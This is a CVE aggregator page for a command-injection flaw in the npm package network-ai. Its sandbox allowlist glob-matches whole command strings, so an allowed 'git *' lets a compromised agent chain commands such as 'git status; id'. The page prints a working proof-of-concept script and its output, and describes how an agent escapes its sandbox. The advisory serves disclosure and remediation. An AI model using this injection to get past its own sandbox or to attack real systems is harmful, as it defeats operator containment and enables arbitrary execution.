CVE-2026-54051

CRITICALPre-NVD 9.99.9
EchelonGraph scoreLOW confidence

This critical-severity CVE scores 9.9 under the CNA's CVSS (NVD's own analysis pending). EPSS exploit-prediction score not yet available (the EPSS model rescores nightly; freshly-published CVEs typically appear within 48 hours). GitHub Security Advisory data not yet ingested — confidence will rise once GHSA publishes (typical lag: hours to days for open-source ecosystem CVEs; never for infrastructure-only CVEs).

Triggered by: NVD CVSS baseline
Sources: cna:github_m
9.9
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.9Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Network-AI: Improper Neutralization of Special Elements used in an OS Command

Summary

The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the whole command string, but ShellExecutor runs that string through /bin/sh -c. So any wildcard allow such as git *, npm * or node * also matches git status; , and a scoped command becomes arbitrary execution.

Root cause

Matching and execution disagree on what a command is. Lines pinned to 40e42d7 (lib/agent-runtime.ts is identical to the v5.8.5 tag).

  • isCommandAllowed matches the full string, with no tokenizing and no metacharacter check:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L248-L260

  • globMatch compiles * to .* and anchors it, so git * becomes ^git .*$ and matches git status; id:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L353-L360

  • ShellExecutor.execute only checks isCommandAllowed, never requiresApproval:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L387-L391

  • spawnCommand runs the approved string via /bin/sh -c, so ;, | and $(...) are interpreted by the shell:

https://github.com/Jovancoding/Network-AI/blob/40e42d7a0a966b948953b3c524cf15355d20ef5e/lib/agent-runtime.ts#L427-L431

Reachability

Any agent or caller allowed to run commands hits this when the operator allowlist has a wildcard entry. A plain git * is enough. No fresh-install precondition and no extra misconfiguration.

PoC

Installs [email protected], allows git *, then runs git status; id > marker. The allowlist accepts it and the injected id runs.

Run: npm i [email protected] && node poc-316.js

'use strict';
const os = require('os');
const fs = require('fs');
const path = require('path');
const { SandboxPolicy, ShellExecutor } = require('network-ai');

(async () => { const base = fs.mkdtempSync(path.join(os.tmpdir(), 'nai-poc-316-')); const marker = path.join(base, 'PWNED-316.txt'); const policy = new SandboxPolicy({ basePath: base, allowedCommands: ['git *'] }); const sh = new ShellExecutor(policy);

const payload = git status; id > ${marker}; echo INJECTED; console.log('version:', require('network-ai/package.json').version); console.log('allowed:', policy.isCommandAllowed(payload));

await sh.execute(payload); const ran = fs.existsSync(marker); console.log('injected id ran:', ran, ran ? fs.readFileSync(marker, 'utf8').trim() : ''); console.log(ran ? 'VULNERABLE' : 'not reproduced'); process.exit(ran ? 0 : 1); })().catch(err => { console.error(err); process.exit(3); });

Output:

version: 5.8.5
allowed: true
injected id ran: true uid=501(alex) gid=20(staff) groups=20(staff),...
VULNERABLE

Impact

Arbitrary command execution as the orchestrator process. It defeats the one control meant to contain a compromised agent, so any agent with a single wildcard allow (git *, npm *, node *) can run anything. node * and npm * are direct code exec even without metacharacters.

Possible fix

Do not run agent commands through a shell. Parse to argv and spawn(file, args, { shell: false }), allowlist on the executable plus argument patterns, and reject shell metacharacters. Anchoring the regex alone is not enough; the whole-string match plus /bin/sh -c is the bug.

Patch

Fixed in v5.9.1 (commit 379f776). ShellExecutor now executes via spawn(file, args, { shell: false }) using a quote-aware parsed argv, so no shell is invoked. SandboxPolicy.isCommandAllowed and the new SandboxPolicy.tokenizeCommand reject any unquoted shell metacharacter (; & | $ ( ) < > { } newline) or unterminated quote before the allowlist glob match; quoted metacharacters are preserved as literal argument data.

Remediation: upgrade to [email protected] or later. As defense in depth, avoid broad wildcard allowlist entries such as node * / npm *` which are direct code execution by design.

CVSS v3
9.9
EG Score
9.9(low)
EPSS
KEV
Not listed

Published

June 19, 2026

Last Modified

June 19, 2026

Vendor Advisories for CVE-2026-54051(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Affected Packages

(1 across 1 ecosystem)
npm(1)
PackageVulnerable rangeFixed inDependents
network-ai5.9.1

Data Freshness Timeline

(refreshed 39× in last 7d / 99× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-07 00:55 UTCEG score recompute
  2. 2026-07-06 20:43 UTCEG score recompute
  3. 2026-07-06 15:49 UTCEG score recompute
  4. 2026-07-06 11:31 UTCEG score recompute
  5. 2026-07-06 07:18 UTCEG score recompute
  6. 2026-07-06 03:01 UTCEG score recompute
  7. 2026-07-05 22:48 UTCEG score recompute
  8. 2026-07-05 18:35 UTCEG score recompute
  9. 2026-07-05 14:23 UTCEG score recompute
  10. 2026-07-05 10:12 UTCEG score recompute
  11. 2026-07-05 05:57 UTCEG score recompute
  12. 2026-07-05 01:40 UTCEG score recompute
  13. 2026-07-04 21:22 UTCEG score recompute
  14. 2026-07-04 17:11 UTCEG score recompute
  15. 2026-07-04 12:57 UTCEG score recompute
  16. 2026-07-04 08:46 UTCEG score recompute
  17. 2026-07-04 04:34 UTCEG score recompute
  18. 2026-07-04 00:06 UTCEG score recompute
  19. 2026-07-03 19:53 UTCEG score recompute
  20. 2026-07-03 15:42 UTCEG score recompute
  21. 2026-07-03 11:29 UTCEG score recompute
  22. 2026-07-03 07:11 UTCEG score recompute
  23. 2026-07-03 02:58 UTCEG score recompute
  24. 2026-07-02 22:46 UTCEG score recompute
  25. 2026-07-02 18:34 UTCEG score recompute
Show 74 more
  1. 2026-07-02 14:22 UTCEG score recompute
  2. 2026-07-02 10:11 UTCEG score recompute
  3. 2026-07-02 05:59 UTCEG score recompute
  4. 2026-07-02 01:47 UTCEG score recompute
  5. 2026-07-01 21:36 UTCEG score recompute
  6. 2026-07-01 17:25 UTCEG score recompute
  7. 2026-07-01 13:14 UTCEG score recompute
  8. 2026-07-01 09:00 UTCEG score recompute
  9. 2026-07-01 04:48 UTCEG score recompute
  10. 2026-07-01 00:35 UTCEG score recompute
  11. 2026-06-30 20:20 UTCEG score recompute
  12. 2026-06-30 16:08 UTCEG score recompute
  13. 2026-06-30 11:55 UTCEG score recompute
  14. 2026-06-30 07:42 UTCEG score recompute
  15. 2026-06-30 03:30 UTCEG score recompute
  16. 2026-06-29 23:18 UTCEG score recompute
  17. 2026-06-29 19:07 UTCEG score recompute
  18. 2026-06-29 14:55 UTCEG score recompute
  19. 2026-06-29 10:44 UTCEG score recompute
  20. 2026-06-29 06:32 UTCEG score recompute
  21. 2026-06-29 02:15 UTCEG score recompute
  22. 2026-06-28 22:04 UTCEG score recompute
  23. 2026-06-28 17:53 UTCEG score recompute
  24. 2026-06-28 13:41 UTCEG score recompute
  25. 2026-06-28 09:30 UTCEG score recompute
  26. 2026-06-28 05:19 UTCEG score recompute
  27. 2026-06-28 01:08 UTCEG score recompute
  28. 2026-06-27 20:56 UTCEG score recompute
  29. 2026-06-27 16:43 UTCEG score recompute
  30. 2026-06-27 12:31 UTCEG score recompute
  31. 2026-06-27 08:19 UTCEG score recompute
  32. 2026-06-27 04:07 UTCEG score recompute
  33. 2026-06-26 23:55 UTCEG score recompute
  34. 2026-06-26 19:44 UTCEG score recompute
  35. 2026-06-26 15:32 UTCEG score recompute
  36. 2026-06-26 11:21 UTCEG score recompute
  37. 2026-06-26 02:30 UTCEG score recompute
  38. 2026-06-25 22:18 UTCEG score recompute
  39. 2026-06-25 18:06 UTCEG score recompute
  40. 2026-06-25 13:54 UTCEG score recompute
  41. 2026-06-25 09:42 UTCEG score recompute
  42. 2026-06-25 05:31 UTCEG score recompute
  43. 2026-06-25 01:13 UTCEG score recompute
  44. 2026-06-24 21:01 UTCEG score recompute
  45. 2026-06-24 16:49 UTCEG score recompute
  46. 2026-06-24 12:37 UTCEG score recompute
  47. 2026-06-24 08:21 UTCEG score recompute
  48. 2026-06-24 04:09 UTCEG score recompute
  49. 2026-06-23 23:45 UTCEG score recompute
  50. 2026-06-23 19:32 UTCEG score recompute
  51. 2026-06-23 15:20 UTCEG score recompute
  52. 2026-06-23 11:07 UTCEG score recompute
  53. 2026-06-23 06:55 UTCEG score recompute
  54. 2026-06-23 02:41 UTCEG score recompute
  55. 2026-06-22 22:26 UTCEG score recompute
  56. 2026-06-22 18:15 UTCEG score recompute
  57. 2026-06-22 14:01 UTCEG score recompute
  58. 2026-06-22 09:48 UTCEG score recompute
  59. 2026-06-22 05:32 UTCEG score recompute
  60. 2026-06-22 01:18 UTCEG score recompute
  61. 2026-06-21 21:07 UTCEG score recompute
  62. 2026-06-21 16:49 UTCEG score recompute
  63. 2026-06-21 12:35 UTCEG score recompute
  64. 2026-06-21 08:20 UTCEG score recompute
  65. 2026-06-21 04:09 UTCEG score recompute
  66. 2026-06-20 23:56 UTCEG score recompute
  67. 2026-06-20 19:43 UTCEG score recompute
  68. 2026-06-20 15:27 UTCEG score recompute
  69. 2026-06-20 11:15 UTCEG score recompute
  70. 2026-06-20 07:02 UTCEG score recompute
  71. 2026-06-20 02:39 UTCEG score recompute
  72. 2026-06-19 22:27 UTCEG score recompute
  73. 2026-06-19 18:08 UTCEG score recompute
  74. 2026-06-19 13:56 UTCEG score recompute

Frequently asked(4)

What is CVE-2026-54051?
CVE-2026-54051 is a critical vulnerability published on June 19, 2026. Network-AI: Improper Neutralization of Special Elements used in an OS Command Summary The agent sandbox gates shell commands behind an allowlist (SandboxPolicy.isCommandAllowed), which THREAT_MODEL.md calls the main control against a compromised agent (Adversary 3.2). The allowlist glob-matches the…
When was CVE-2026-54051 disclosed?
CVE-2026-54051 was first published in the National Vulnerability Database on June 19, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-54051?
CVE-2026-54051 has a CVSS v4.0 base score of 9.9 (CNA self-assessment; NVD's own analysis pending). The EG score is currently aggregating — additional source signals are being incorporated as they become available..
How do I remediate CVE-2026-54051?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-54051, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-54051

Explore →

Is Your Infrastructure Affected by CVE-2026-54051?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.